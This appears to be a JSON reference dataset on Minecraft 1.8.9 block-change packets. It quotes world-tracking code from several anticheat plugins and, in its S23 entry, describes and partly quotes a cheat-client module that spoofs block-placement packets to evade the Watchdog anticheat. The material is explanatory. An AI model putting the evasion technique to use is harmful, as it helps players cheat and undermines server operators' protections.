break;\n                    case EAST:\n                        isPowered = block.getEast() == East.TRUE;\n                        if (isPowered && (badOne == BlockFace.EAST || badTwo == BlockFace.EAST)) {\n                            return 0;\n                        }\n                        break;\n                }\n            } else {\n                isPowered = true; // whatever, just go off the block's power to see if it connects\n            }\n\n            return isPowered ? block.getPower() : 0;\n        } else if (block.getType() == StateTypes.REDSTONE_WALL_TORCH) {\n            return block.getFacing() != face && block.isLit() ? 15 : 0;\n        } else if (block.getType() == StateTypes.DAYLIGHT_DETECTOR) {\n            return block.getPower();\n        } else if (block.getType() == StateTypes.OBSERVER) {\n            return block.getFacing() == face && block.isPowered() ? 15 : 0;\n        } else if (block.getType() == StateTypes.REPEATER) {\n            return block.getFacing() == face && block.isPowered() ? 15 : 0;\n        } else if (block.getType() == StateTypes.LECTERN) {\n            return block.isPowered() ? 15 : 0;\n        } else if (block.getType() == StateTypes.TARGET) {\n            return block.getPower();\n        }\n\n        return 0;\n    }\n\n    // Redstone can power blocks indirectly by directly powering a block next to the block to power\n    public int getDirectSignalAtState(BlockFace face, int x, int y, int z) {\n        WrappedBlockState block = getBlock(x, y, z);\n\n        if (block.getType() == StateTypes.DETECTOR_RAIL) { // Rails hard power block below itself\n            boolean isPowered = block.hasProperty(StateValue.POWERED) && block.isPowered();\n            return face == BlockFace.UP && isPowered ? 15 : 0;\n        } else if (block.getType() == StateTypes.REDSTONE_TORCH) {\n            return face != BlockFace.UP && block.isLit() ? 15 : 0;\n        } else if (block.getType() == StateTypes.LEVER || BlockTags.BUTTONS.contains(block.getType())) {\n            return block.getFacing().getOppositeFace() == face && block.isPowered() ? 15 : 0;\n        } else if (block.getType() == StateTypes.REDSTONE_WALL_TORCH) {\n            return face == BlockFace.DOWN && block.isLit() ? 15 : 0;\n        } else if (block.getType() == StateTypes.LECTERN) {\n            return face == BlockFace.UP && block.isPowered() ? 15 : 0;\n        } else if (block.getType() == StateTypes.OBSERVER) {\n            return block.getFacing() == face && block.isPowered() ? 15 : 0;\n        } else if (block.getType() == StateTypes.REPEATER) {\n            return block.getFacing() == face && block.isPowered() ? 15 : 0;\n        } else if (block.getType() == StateTypes.REDSTONE_WIRE) {\n            BlockFace needed = face.getOppositeFace();\n\n            BlockFace badOne = needed.getCW();\n            BlockFace badTwo = needed.getCCW();\n\n            boolean isPowered = false;\n            switch (needed) {\n                case DOWN:\n                case UP:\n                    break;\n                case NORTH:\n                    isPowered = block.getNorth() == North.TRUE;\n                    if (isPowered && (badOne == BlockFace.NORTH || badTwo == BlockFace.NORTH)) {\n                        return 0;\n                    }\n                    break;\n                case SOUTH:\n                    isPowered = block.getSouth() == South.TRUE;\n                    if (isPowered && (badOne == BlockFace.SOUTH || badTwo == BlockFace.SOUTH)) {\n                        return 0;\n                    }\n                    break;\n                case WEST:\n                    isPowered = block.getWest() == West.TRUE;\n                    if (isPowered && (badOne == BlockFace.WEST || badTwo == BlockFace.WEST)) {\n                        return 0;\n                    }\n                    break;\n                case EAST:\n                    isPowered = block.getEast() == East.TRUE;\n                    if (isPowered && (badOne == BlockFace.EAST || badTwo == BlockFace.EAST)) {\n                        return 0;\n                    }\n                    break;\n            }\n\n            return isPowered ? block.getPower() : 0;\n        }\n\n        return 0;\n    }\n\n    public Column getChunk(int chunkX, int chunkZ) {\n        long chunkPosition = chunkPositionToLong(chunkX, chunkZ);\n        return chunks.get(chunkPosition);\n    }\n\n    @Override\n    public boolean isChunkLoaded(int chunkX, int chunkZ) {\n        long chunkPosition = chunkPositionToLong(chunkX, chunkZ);\n        return chunks.containsKey(chunkPosition);\n    }\n\n    public boolean areChunksUnloadedAt(int minX, int minY, int minZ, int maxX, int maxY, int maxZ) {\n        if (maxY < minHeight || minY >= maxHeight) {\n            return true;\n        }\n\n        minX >>= 4;\n        minZ >>= 4;\n        maxX >>= 4;\n        maxZ >>= 4;\n\n        for (int i = minX; i <= maxX; i++) {\n            for (int j = minZ; j <= maxZ; j++) {\n                if (!isChunkLoaded(i, j)) {\n                    return true;\n                }\n            }\n        }\n\n        return false;\n    }\n\n    public void addToCache(Column chunk, int chunkX, int chunkZ, TileEntity[] tileEntities) {\n        long chunkPosition = chunkPositionToLong(chunkX, chunkZ);\n        player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n            chunks.put(chunkPosition, chunk);\n            player.compensatedGeysers.addChunkToCache(chunk, tileEntities, minHeight);\n        });\n    }\n\n    public StateType getBlockType(double x, double y, double z) {\n        return getBlock((int) Math.floor(x), (int) Math.floor(y), (int) Math.floor(z)).getType();\n    }\n\n    public WrappedBlockState getBlock(double x, double y, double z) {\n        return getBlock((int) Math.floor(x), (int) Math.floor(y), (int) Math.floor(z));\n    }\n\n    public float getFluidLevelAt(int x, int y, int z) {\n        return Math.max(getWaterFluidLevelAt(x, y, z), getLavaFluidLevelAt(x, y, z));\n    }\n\n    public boolean isWaterSourceBlock(int x, int y, int z) {\n        WrappedBlockState bukkitBlock = getBlock(x, y, z);\n        return Materials.isWaterSource(player.getClientVersion(), bukkitBlock);\n    }\n\n    public boolean containsLiquid(SimpleCollisionBox box) {\n        return Collisions.hasMaterial(player, box, (block, x, y, z) -> Materials.isWater(player.getClientVersion(), block) || block.getType() == StateTypes.LAVA);\n    }\n\n    public float getLavaFluidLevelAt(int x, int y, int z) {\n        WrappedBlockState magicBlockState = getBlock(x, y, z);\n        WrappedBlockState magicBlockStateAbove = getBlock(x, y + 1, z);\n\n        if (magicBlockState.getType() != StateTypes.LAVA) return 0f;\n        if (magicBlockStateAbove.getType() == StateTypes.LAVA) return 1f;\n\n        int level = magicBlockState.getLevel();\n\n        // If it is lava or flowing lava\n        if (level >= 8) {\n            // Falling lava has a level of 8\n            return 8 / 9f;\n        }\n\n        return (8 - level) / 9f;\n    }\n\n    public boolean containsLava(SimpleCollisionBox box) {\n        return Collisions.hasMaterial(player, box, (block, x, y, z) -> block.getType() == StateTypes.LAVA);\n    }\n\n    public float getWaterFluidLevelAt(double x, double y, double z) {\n        return getWaterFluidLevelAt(GrimMath.floor(x), GrimMath.floor(y), GrimMath.floor(z));\n    }\n\n    public float getWaterFluidLevelAt(int x, int y, int z) {\n        WrappedBlockState wrappedBlock = getBlock(x, y, z);\n        boolean isWater = Materials.isWater(player.getClientVersion(), wrappedBlock);\n\n        if (!isWater) return 0f;\n\n        // If water has water above it, it's block height is 1, even if it's waterlogged\n        if (Materials.isWater(player.getClientVersion(), getBlock(x, y + 1, z))) {\n            return 1f;\n        }\n\n        // If it is water or flowing water\n        if (wrappedBlock.getType() == StateTypes.WATER) {\n            int level = wrappedBlock.getLevel();\n\n            // Falling water has a level of 8\n            if ((level & 0x8) == 8) return 8 / 9f;\n\n            return (8 - level) / 9f;\n        }\n\n        // The block is water, isn't water material directly, and doesn't have block above, so it is waterlogged\n        // or another source-like block such as kelp.\n        return 8 / 9F;\n    }\n\n    public void removeChunkLater(int chunkX, int chunkZ) {\n        long chunkPosition = chunkPositionToLong(chunkX, chunkZ);\n        player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n            Column column = chunks.remove(chunkPosition);\n            if (column != null) {\n                player.compensatedGeysers.removeChunk(chunkX, chunkZ, column.chunks().length);\n            }\n        });\n    }\n\n    public void setDimension(DimensionType dimension, User user) {\n        // No world height NBT\n        if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_17)) return;\n\n        minHeight = dimension.getMinY();\n        maxHeight = minHeight + dimension.getHeight();\n    }\n\n    public WrappedBlockState getBlock(Vector3dm aboveCCWPos) {\n        return getBlock(aboveCCWPos.getX(), aboveCCWPos.getY(), aboveCCWPos.getZ());\n    }\n}\n// NOTE (AI): The S22 and S23 corpus hits include the applyBlockChanges paths and the acknowledge-block-changes reply for 1.19+ sequenced changes.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/utils/latency/CompensatedWorld.java",
       "variations": "NCP BlockChangeTracker is the classic equivalent; Hydro WorldTracker applies single and multi block changes with the same transaction confirmation; Truthful CompensatedWorld forwards updates to a global world cache."
      },
      {
       "name": "BlockUpdateHandler (Kauri)",
       "found_in": [
        "funkemunky-KauriV3"
       ],
       "purpose": "Maintain Kauri's per-player replicated world from server block updates, including the S22 multi-block-change packet.",
       "how_it_works": "PacketHandler feeds WrapperPlayServerBlockChange and WrapperPlayServerMultiBlockChange into runUpdate, which applies each encoded block to the current World object inside a keepalive action so the update lands at the right server tick; chunk data and bulk chunk data go through the same path. The replicated world stores WrappedBlock values in 16x384x16 Chunk arrays, and getBlock and getRelative queries serve the reach, phase and interaction checks.",
       "detects": "Supplies the block truth for Kauri's checks; clients cannot fake the world because the cache is server-derived.",
       "detailed_code": "// ===== FILE: funkemunky-KauriV3, Anticheat/src/main/java/dev/brighten/ac/handler/block/BlockUpdateHandler.java =====\npackage dev.brighten.ac.handler.block;\n\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.protocol.item.type.ItemTypes;\nimport com.github.retrooper.packetevents.protocol.player.DiggingAction;\nimport com.github.retrooper.packetevents.protocol.world.BlockFace;\nimport com.github.retrooper.packetevents.protocol.world.chunk.BaseChunk;\nimport com.github.retrooper.packetevents.protocol.world.chunk.Column;\nimport com.github.retrooper.packetevents.protocol.world.chunk.TileEntity;\nimport com.github.retrooper.packetevents.protocol.world.states.WrappedBlockState;\nimport com.github.retrooper.packetevents.util.Vector3d;\nimport com.github.retrooper.packetevents.util.Vector3i;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPlayerBlockPlacement;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPlayerDigging;\nimport com.github.retrooper.packetevents.wrapper.play.server.*;\nimport dev.brighten.ac.data.APlayer;\nimport dev.brighten.ac.utils.KLocation;\nimport dev.brighten.ac.utils.Materials;\nimport dev.brighten.ac.utils.world.types.RayCollision;\nimport lombok.Getter;\nimport lombok.RequiredArgsConstructor;\nimport lombok.extern.slf4j.Slf4j;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.concurrent.atomic.AtomicReference;\n\n@Slf4j\n@SuppressWarnings(\"unused\")\n@RequiredArgsConstructor\npublic class BlockUpdateHandler {\n\n\n    private final APlayer player;\n    private final Map<String, World> worlds = new HashMap<>();\n    @Getter\n    private AtomicReference<World> currentWorld = new AtomicReference<>();\n\n    /**\n     * Clear all chunks when the player changes worlds\n     */\n    public void onRespawn(WrapperPlayServerRespawn respawn) {\n        respawn.getWorldName()\n                .filter(name -> !name.equals(currentWorld.get().getName()))\n                .ifPresent(worldName -> {\n                    currentWorld.set(getWorldByName(worldName));\n                    player.getMob().despawn();\n\n                    player.runKeepaliveAction(ka -> {\n                        KLocation origin = player.getMovement().getTo().getLoc().add(0, 1.7, 0);\n\n                        RayCollision coll = new RayCollision(origin.toVector(), origin.getDirection().multiply(-1));\n\n                        Vector3d loc1 = coll.collisionPoint(1.2);\n                        player.getMob().spawn(true, new KLocation(loc1), new ArrayList<>(), player);\n                    }, 1);\n                });\n    }\n\n    private World getWorldByName(String name) {\n        return worlds.values().stream()\n                .filter(world -> world.getName().equals(name))\n                .findFirst()\n                .orElse(worlds.put(name, new World(name)));\n    }\n\n    /**\n     * Keep track of block placements since the Bukkit API will be a bit behind\n     *\n     * @param place wrapped PacketPlayInBlockPlace\n     */\n    public void onPlace(WrapperPlayClientPlayerBlockPlacement place) {\n        player.getInfo().lastBlockUpdate.reset();\n        // Could not possibly be a block placement as it's not a block a player is holding.\n        Vector3i pos = place.getBlockPosition();\n\n        // Some dumbass shit I have to do because Minecraft with Lilypads\n        if (place.getItemStack().isPresent()\n                && place.getItemStack().get().getType().equals(ItemTypes.LILY_PAD)) {\n            RayCollision rayCollision = new RayCollision(player.getMovement().getTo().getLoc()\n                    .add(0, player.getEyeHeight(), 0).toVector(),\n                    player.getMovement().getTo().getLoc().getDirection());\n            //TODO Refactor this system to use just packetevents instead of this class\n            WrappedBlock block = rayCollision.getClosestBlockOfType(player, Materials.LIQUID, 5);\n\n            if (block != null) {\n                pos = new Vector3i(\n                        block.getLocation().getX(),\n                        block.getLocation().getY() + 1,\n                        block.getLocation().getZ());\n            } else return;\n        } // Not an actual block place, just an interact\n        else if (pos.getX() == -1 && (pos.getY() == 255 || pos.getY() == -1) && pos.getZ() == -1) {\n            return;\n        } else {\n            pos = pos.with(pos.getX() + place.getFace().getModX(),\n                    pos.getY() + place.getFace().getModY(),\n                    pos.getZ() + place.getFace().getModZ());\n        }\n\n        player.getInfo().getLastPlace().reset();\n\n\n        int x = pos.getX();\n        int y = pos.getY();\n        int z = pos.getZ();\n\n        if(place.getItemStack().isEmpty() || place.getItemStack().get().getType().getPlacedType() == null) {\n            return;\n        }\n\n        currentWorld.get().updateBlock(x, y, z,\n                WrappedBlockState.getDefaultState(place.getItemStack().get().getType().getPlacedType()));\n    }\n\n    static final WrappedBlockState airBlockState = WrappedBlockState\n            .getByGlobalId(PacketEvents.getAPI().getServerManager().getVersion().toClientVersion(), 0);\n\n    /**\n     * Keep track of block breaking since the Bukkit API will be a bit behind.\n     *\n     * @param dig Wrapped PacketPlayInBlockDig\n     */\n    public void onDig(WrapperPlayClientPlayerDigging dig) {\n        player.getInfo().lastBlockUpdate.reset();\n        if (dig.getAction() == DiggingAction.FINISHED_DIGGING) {\n\n            Vector3i pos = dig.getBlockPosition();\n\n            if (pos.getX() == -1 && (pos.getY() == 255 || pos.getY() == -1) && pos.getZ() == -1) {\n                return;\n            }\n\n            currentWorld.get().updateBlock(pos.getX(), pos.getY(), pos.getZ(), airBlockState);\n        }\n    }\n\n    /**\n     * Keep track of block updates since the Bukkit API will be a bit behind.\n     * @param packet Wrapped PacketPlayOutBlockChange\n     */\n    public void runUpdate(WrapperPlayServerBlockChange packet) {\n        player.getInfo().lastBlockUpdate.reset();\n\n            // Updating block information\n        player.runKeepaliveAction(k -> {\n            Vector3i pos = packet.getBlockPosition();\n\n            currentWorld.get().updateBlock(pos.getX(), pos.getY(), pos.getZ(), packet.getBlockState());\n        });\n    }\n\n    /**\n     * Keep track of block updates since the Bukkit API will be a bit behind.\n     * @param packet Wrapped PacketPlayOutMultiBlockChange\n     */\n    public void runUpdate(WrapperPlayServerMultiBlockChange packet) {\n        player.getInfo().lastBlockUpdate.reset();\n        player.runKeepaliveAction(k -> {\n            for (WrapperPlayServerMultiBlockChange.EncodedBlock info : packet.getBlocks()) {\n\n                WrappedBlockState blockState = info\n                        .getBlockState(PacketEvents.getAPI().getServerManager().getVersion().toClientVersion());\n\n                currentWorld.get().updateBlock(info.getX(), info.getY(), info.getZ(), blockState);\n            }\n        });\n    }\n\n    /**\n     * Keep track of block updates since the Bukkit API will be a bit behind.\n     * @param chunkUpdate Wrapped PacketPlayOutMapChunk\n     */\n    public void runUpdate(WrapperPlayServerChunkData chunkUpdate) {\n        player.runKeepaliveAction(k -> currentWorld.get().updateChunk(chunkUpdate.getColumn()));\n    }\n\n    public void runUpdate(WrapperPlayServerChunkDataBulk chunkBulk) {\n        player.runKeepaliveAction(k -> {\n            for (int index = 0; index < chunkBulk.getChunks().length; index++) {\n                BaseChunk[] chunks = chunkBulk.getChunks()[index];\n\n                int x = chunkBulk.getX()[index];\n                int z = chunkBulk.getZ()[index];\n\n                Column column = new Column(x, z, true, chunks, new TileEntity[0],\n                        chunkBulk.getBiomeData()[index]);\n\n                currentWorld.get().updateChunk(column);\n            }\n        });\n    }\n\n    /**\n     * Get the block relative to the specified location\n     * @param location the location\n     * @param modX the x modifier\n     * @param modY the y modifier\n     * @param modZ the z modifier\n     * @return the block relative to the specified location\n     */\n    public WrappedBlock getRelative(Vector3i location, int modX, int modY, int modZ) {\n        return currentWorld.get().getBlock(location.add(modX, modY, modZ));\n    }\n\n    /**\n     * Get the block relative to the specified location\n     * @param location the location\n     * @param face the face\n     * @param distance the distance\n     * @return the block relative to the specified location\n     */\n    public WrappedBlock getRelative(Vector3i location, BlockFace face, int distance) {\n        return getRelative(location,\n                face.getModX() * distance, face.getModY() * distance, face.getModZ() * distance);\n    }\n\n    /**\n     * Get the block relative to the specified location\n     * @param location the location\n     * @param face the face\n     * @return the block relative to the specified location\n     */\n    public WrappedBlock getRelative(Vector3i location, BlockFace face) {\n        return currentWorld.get().getBlock(location.add(face.getModX(), face.getModY(), face.getModZ()));\n    }\n\n    public WrappedBlock getBlock(int x, int y, int z) {\n        return currentWorld.get().getBlock(x, y, z);\n    }\n\n    public WrappedBlock getBlock(KLocation location) {\n        return getBlock(location.getBlockX(), location.getBlockY(), location.getBlockZ());\n    }\n\n    public WrappedBlock getBlock(Vector3i location) {\n        return getBlock(location.getX(), location.getY(), location.getZ());\n    }\n\n    public record KColumn(int x, int z, BaseChunk[] chunks) {}\n\n}\n// NOTE (AI): runUpdate(WrapperPlayServerMultiBlockChange) is the S22 path; the S23 corpus hit is runUpdate(WrapperPlayServerBlockChange).",
       "code_source": "funkemunky-KauriV3, Anticheat/src/main/java/dev/brighten/ac/handler/block/BlockUpdateHandler.java",
       "variations": "Grim CompensatedWorld and Hydro WorldTracker apply the same updates with transaction timing; Intave BlockUpdateTracker combines its packet readers with an acknowledgeBlockChange sequence to keep the cache in lockstep with 1.19+ sequenced block changes."
      },
      {
       "name": "MultiBlockChangeReader (Intave)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Decode the S22 packet into absolute block positions and block data for Intave's block update tracker.",
       "how_it_works": "CompiledPacketReader that reads either the 1.16.2+ section-relative encoding (section position plus 12-bit relative coordinates) or the legacy MultiBlockChangeInfo array, and exposes blockPositions() and blockDataList() to the BlockUpdateTracker, which applies them to the block cache and acknowledges the sequence number.",
       "detects": "Feeds the block cache that Intave's interaction ray-trace, phase and physics checks query; no direct flag.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/packet/reader/MultiBlockChangeReader.java =====\npackage de.jpx3.intave.packet.reader;\n\nimport com.comphenix.protocol.wrappers.BlockPosition;\nimport com.comphenix.protocol.wrappers.MultiBlockChangeInfo;\nimport com.comphenix.protocol.wrappers.WrappedBlockData;\nimport de.jpx3.intave.adapter.MinecraftVersions;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic final class MultiBlockChangeReader extends CompiledPacketReader implements BlockChanges {\n  private static final boolean USE_SECTIONS = MinecraftVersions.VER1_16_2.atOrAbove();\n  private List<BlockPosition> blockPositions;\n  private List<WrappedBlockData> blockDataList;\n\n  public void compile() {\n    if (USE_SECTIONS) {\n      BlockPosition blockPosition = packet().getSectionPositions().readSafely(0);\n      int chunkXBase = blockPosition.getX() << 4;\n      int chunkYBase = blockPosition.getY() << 4;\n      int chunkZBase = blockPosition.getZ() << 4;\n      short[] relativePositions = packet().getShortArrays().read(0);\n      WrappedBlockData[] blockInfos = packet().getBlockDataArrays().read(0);\n      int expectedOutputLength = blockInfos.length;\n      blockPositions = new ArrayList<>(expectedOutputLength);\n      blockDataList = new ArrayList<>(expectedOutputLength);\n      for (int i = 0; i < relativePositions.length; i++) {\n        short relativePosition = relativePositions[i];\n        int posX = chunkXBase + (relativePosition >>> 8 & 0xF);\n        int posY = chunkYBase + (relativePosition & 0xF);\n        int posZ = chunkZBase + (relativePosition >>> 4 & 0xF);\n        blockPositions.add(new BlockPosition(posX, posY, posZ));\n        blockDataList.add(blockInfos[i]);\n      }\n    } else {\n      MultiBlockChangeInfo[] multiBlockChangeInfos = packet().getMultiBlockChangeInfoArrays().readSafely(0);\n      int expectedOutputLength = multiBlockChangeInfos.length;\n      blockPositions = new ArrayList<>(expectedOutputLength);\n      blockDataList = new ArrayList<>(expectedOutputLength);\n      for (MultiBlockChangeInfo changeInfo : multiBlockChangeInfos) {\n        blockPositions.add(new BlockPosition(changeInfo.getAbsoluteX(), changeInfo.getY(), changeInfo.getAbsoluteZ()));\n        blockDataList.add(changeInfo.getData());\n      }\n    }\n  }\n\n  @Override\n  public void release() {\n    super.release();\n    blockPositions = null;\n    blockDataList = null;\n  }\n\n  public List<BlockPosition> blockPositions() {\n    return blockPositions;\n  }\n\n  public List<WrappedBlockData> blockDataList() {\n    return blockDataList;\n  }\n}\n// NOTE (AI): Registered in PacketReaders as setup(MULTI_BLOCK_CHANGE, MultiBlockChangeReader::new); SingleBlockChangeReader covers S23.",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/packet/reader/MultiBlockChangeReader.java",
       "variations": "Hydro WorldTracker handleMultiBlockChange and Kauri runUpdate(WrapperPlayServerMultiBlockChange) are the equivalent decode-and-apply paths; NCP BlockChangeListener converts the same updates into validity-timed entries."
      }
     ]
    }
   },
   "wiki_notes": [
    "Clientbound 0x22: chunkX and chunkZ ints, VarInt record count, batched records.",
    "Each record is a crammed short plus VarInt block state from Block.BLOCK_STATE_IDS.",
    "Crammed short packs x in bits 12-15, z in bits 8-11 and y in low 8 bits.",
    "MCP 1.8.9 S22PacketMultiBlockChange implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleMultiBlockChange; wire serde is readPacketData/writePacketData via readInt, readShort, readVarIntFromBuffer.",
    "1.8.9 callers: PlayerManager.onUpdate sends new S22PacketMultiBlockChange (line 505): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/server/management/PlayerManager.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S22PacketMultiBlockChange/",
   "mcp_path": "net/minecraft/network/play/server/S22PacketMultiBlockChange.java",
   "group": "play-client",
   "logic_classes": [
    "PlayerManager"
   ]
  },
  {
   "id": "S23PacketBlockChange",
   "hex": "0x23",
   "dec": 35,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Block Change",
   "desc": "Updates a single block in the world: position and new block state (combined ID+metadata).",
   "tags": [
    "world",
    "block"
   ],
   "fields": [
    {
     "name": "position",
     "type": "BlockPos",
     "desc": "Block position"
    },
    {
     "name": "blockState",
     "type": "IBlockState",
     "desc": "New block state (blockId | (metadata << 12))"
    }
   ],
   "encoding": [
    [
     "Position",
     "BlockPos (long)",
     "Encoded as long"
    ],
    [
     "Block ID + Meta",
     "VarInt",
     "Block ID | (metadata << 12)"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleBlockChange()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S23 is the server's single-block state correction. The server sends it whenever one block in a loaded chunk changes and the change is cheap to express, with the alternative S21PacketChunkData / S22PacketMultiBlockChange reserved for bulk edits. The block state is encoded as a VarInt into the Block.BLOCK_STATE_IDS registry, not as the old blockId | (meta << 12) split; every block in 1.8.9 has a unique registry ID. NetHandlerPlayServer pushes it from the block-breaking path (line 481), the block-placement path (line 535), ItemInWorldManager.tryHarvestBlock (line 254) and PlayerManager's chunk watcher broadcast (line 436)."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleBlockChange calls PacketThreadUtil.func_180031_a for main-thread dispatch, then clientWorldController.func_180503_b(pos, state), which is WorldClient.setBlockState: it replaces the local block, updates the lightmap, and re-renders the region. That is the entire effect; there is no server round trip. Because the handler writes straight into the world, any module that reads world state after the event bus gets the correction for free, which is why so few clients intercept S23 directly."
     },
     {
      "h": "Why clients touch it",
      "p": "Only one module in the 8-client corpus references S23PacketBlockChange: Rise 6.2.4's WatchdogJumpSprint, a Scaffold sprint mode. It treats every S23 as proof the server accepted a placed block: the PacketReceiveEvent handler sets start3 = true and increments a block counter, and the pre-motion handler then uses start3 to fire a spoofed C08PacketPlayerBlockPlacement with an ice ItemStack against the player's own position (line 116), which is the Watchdog anti-cheat block-placement trigger used to keep the player's on-ground state consistent while sprint-jumping. The counter also feeds previousBlockValue / previousTick logic that paces how often the exploit packet is sent."
     },
     {
      "h": "Exploit surface",
      "p": "S23 is clientbound and carries no player identity, so there is nothing to spoof server-side; the abuse is entirely on the receiving end. Ghost-block clients that locally predict block state must reconcile against S23 when the server disagrees, and scaffold / nuker modules can use the arrival timing of S23 as a cheap ping-free ack. Anti-cheats watch the reverse direction: they validate that a C08PacketPlayerBlockPlacement is followed by a matching S23 echo and check the placed block against the client's claimed reach, which is exactly the surface WatchdogJumpSprint's ice-placement trick plays on."
     }
    ],
    "overview": "The server's authoritative one-block correction. In this corpus it is used by exactly one module, Rise 6.2.4's WatchdogJumpSprint, which reads S23 arrivals as placement acknowledgements to pace a Watchdog-targeted ice-block C08 exploit. Everything else in the 8 clients lets the vanilla handler write the state into WorldClient and reads the world afterwards.",
    "server_handling": "NetHandlerPlayServer sends S23 on block break (processPlayerDigging, ~line 481), on placement and its neighbor update (~line 535), plus a second packet for the offset block when the placed block has a block-on-use neighbor. ItemInWorldManager sends it after a successful harvest, and PlayerManager.sendToAllPlayersWatchingChunk broadcasts to every player with the chunk loaded. In 1.8.9 there is no server-side validation of the client's C08 beyond reach and interval checks in the digging/placement handlers.",
    "protocol_notes": "Wire format: BlockPos as a packed long (readBlockPos) followed by a VarInt block state registry ID. The state is resolved at construction time from the world, so the server always sends what it believes is current, and a stale S23 can overwrite a newer client-side prediction. In PLAY state only. Frequency is bounded by player block interactions, which is what makes it a usable ack channel.",
    "anticheat_landscape": "S23 itself is never flagged; it is server-originated truth. Anti-cheats use it to detect ghost blocks and reach abuse: a placed block whose S23 echo position lies outside the client's valid reach, or a C08 that gets no echo, feeds reach and scaffold checks. Clients that spoof block placement need the echo to keep their internal state honest, and the timing between C08 and S23 is a latency signal that modules like WatchdogJumpSprint fold into their pacing.",
    "modules": [
     {
      "name": "WatchdogJumpSprint",
      "found_in": [
       "Rise 6.2.4"
      ],
      "purpose": "Use S23 block-change arrivals as placement acks to pace a Watchdog-targeted ice-block placement exploit inside Scaffold.",
      "how_it_works": "A PacketReceiveEvent listener checks for S23PacketBlockChange, sets start3 = true and increments the block counter. The PreMotionEvent handler then uses start3 to send a spoofed C08PacketPlayerBlockPlacement aimed at the player's own position with an ice ItemStack and randomized hit vectors, one-shotting start3 per ack so the exploit packet only fires after the server confirms a placement.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/player/scaffold/sprint/WatchdogJumpSprint.java =====\npackage com.alan.clients.module.impl.player.scaffold.sprint;\n\nimport com.alan.clients.Client;\nimport com.alan.clients.component.impl.player.BadPacketsComponent;\nimport com.alan.clients.component.impl.player.PingSpoofComponent;\nimport com.alan.clients.component.impl.player.RotationComponent;\nimport com.alan.clients.component.impl.player.Slot;\nimport com.alan.clients.component.impl.player.rotationcomponent.MovementFix;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.Priorities;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.motion.PreUpdateEvent;\nimport com.alan.clients.event.impl.motion.StrafeEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.module.impl.movement.Flight;\nimport com.alan.clients.module.impl.movement.LongJump;\nimport com.alan.clients.module.impl.movement.Speed;\nimport com.alan.clients.module.impl.player.Scaffold;\nimport com.alan.clients.module.impl.player.scaffold.tower.WatchdogTower;\nimport com.alan.clients.util.chat.ChatUtil;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.util.player.MoveUtil;\nimport com.alan.clients.util.player.PlayerUtil;\nimport com.alan.clients.util.player.SlotUtil;\nimport com.alan.clients.util.vector.Vector2f;\nimport com.alan.clients.value.Mode;\nimport com.alan.clients.value.impl.BooleanValue;\nimport net.minecraft.block.BlockAir;\nimport net.minecraft.init.Blocks;\nimport net.minecraft.init.Items;\nimport net.minecraft.item.ItemBlock;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;\nimport net.minecraft.network.play.client.C0BPacketEntityAction;\nimport net.minecraft.network.play.server.S23PacketBlockChange;\nimport net.minecraft.potion.Potion;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\nimport net.minecraft.util.Vec3i;\n\nimport java.util.Objects;\nimport java.util.Random;\n\npublic class WatchdogJumpSprint extends Mode<Scaffold> {\n\n    public WatchdogJumpSprint(String name, Scaffold parent) {\n        super(name, parent);\n    }\n\n    int previousBlockValue = -1;\n    private boolean jump = false;\n    private boolean jumpHandled = false;\n    int previousTick = -1;\n    int ongroundticks;\n    int time;\n    double speed;\n    public Vec3i offset = new Vec3i(0, 0, 0);\n    public static boolean hasC08Packet = false;\n    public static boolean start2 = false;\n    public static boolean start3 = false;\n    public static boolean start4 = false;\n    int startTriggerCount = 0;\n    private int block;\n    public final BooleanValue extraBlocks = new BooleanValue(\"Place Extra blocks\", this, false);\n\n    @EventLink(value = Priorities.HIGH)\n    public final Listener<PreMotionEvent> onPreMotionEvent = event -> {\n\nif(event.isOnGround()){\n    ongroundticks++;\n} else{\n    ongroundticks = 0;\n}\n\n\n        getParent().recursions = 1;\n        if (mc.thePlayer.onGroundTicks > 2 && !mc.gameSettings.keyBindJump.isKeyDown() && !Client.INSTANCE.getModuleManager().get(Speed.class).isEnabled() && !mc.thePlayer.isPotionActive(Potion.moveSpeed)) {\n            MoveUtil.strafe();\n\n            mc.thePlayer.motionZ *= 1.129;\n            mc.thePlayer.motionX *= 1.129;\n        } else if (mc.thePlayer.onGroundTicks > 2 && !mc.gameSettings.keyBindJump.isKeyDown() && !Client.INSTANCE.getModuleManager().get(Speed.class).isEnabled() && mc.thePlayer.isPotionActive(Potion.moveSpeed) && mc.thePlayer.getActivePotionEffect(Potion.moveSpeed).amplifier + 1 >= 2) 